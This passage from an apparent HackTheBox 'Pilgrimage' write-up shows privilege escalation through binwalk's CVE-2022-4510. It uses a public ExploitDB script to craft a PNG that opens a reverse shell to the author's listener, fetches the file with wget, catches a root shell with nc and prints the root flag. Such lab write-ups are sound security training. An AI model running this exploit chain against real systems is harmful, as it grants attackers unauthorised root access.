Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...
Signature Scan Options:
-B, --signature Scan target file(s) for common file signatures
-R, --raw=<str> Scan target file(s) for the specified sequence of bytes
There is an exploit for this version that derives in Remote Code Execution (more information in portswigger.net). And there’s a public exploit in ExploitDB:
$ searchsploit binwalk
------------------------------------------------- ------------------------
Exploit Title | Path
------------------------------------------------- ------------------------
Binwalk v2.3.2 - Remote Command Execution (RCE) | python/remote/51249.py
------------------------------------------------- ------------------------
Shellcodes: No Results
The exploit injects some Python code to generate a reverse shell command that is executed when binwalk
tries to extract files from the maliciously crafted image file:
$ python3 51249.py -h
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
usage: 51249.py [-h] file ip port
positional arguments:
file Path to input .png file
ip Ip to nc listener
port Port to nc listener
options:
-h, --help show this help message and exit
$ python3 51249.py exploit.png 10.10.17.44 4444
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
Now we transfer binwalk_exploit.png
to the remote machine and move it to /var/www/pilgrimage.htb/shrunk
to trigger the reverse shell:
emily@pilgrimage:~$ cd /tmp
emily@pilgrimage:/tmp$ wget -q 10.10.17.44/binwalk_exploit.png
emily@pilgrimage:/tmp$ mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk
And there we have it. We are root
:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.219:43596.
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@pilgrimage:~/quarantine# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@pilgrimage:~/quarantine# export TERM=xterm
root@pilgrimage:~/quarantine# export SHELL=bash
root@pilgrimage:~/quarantine# stty rows 50 columns 158
root@pilgrimage:~/quarantine# cd
root@pilgrimage:~# cat root.txt
123667c25801c81db9a41a7f8612a926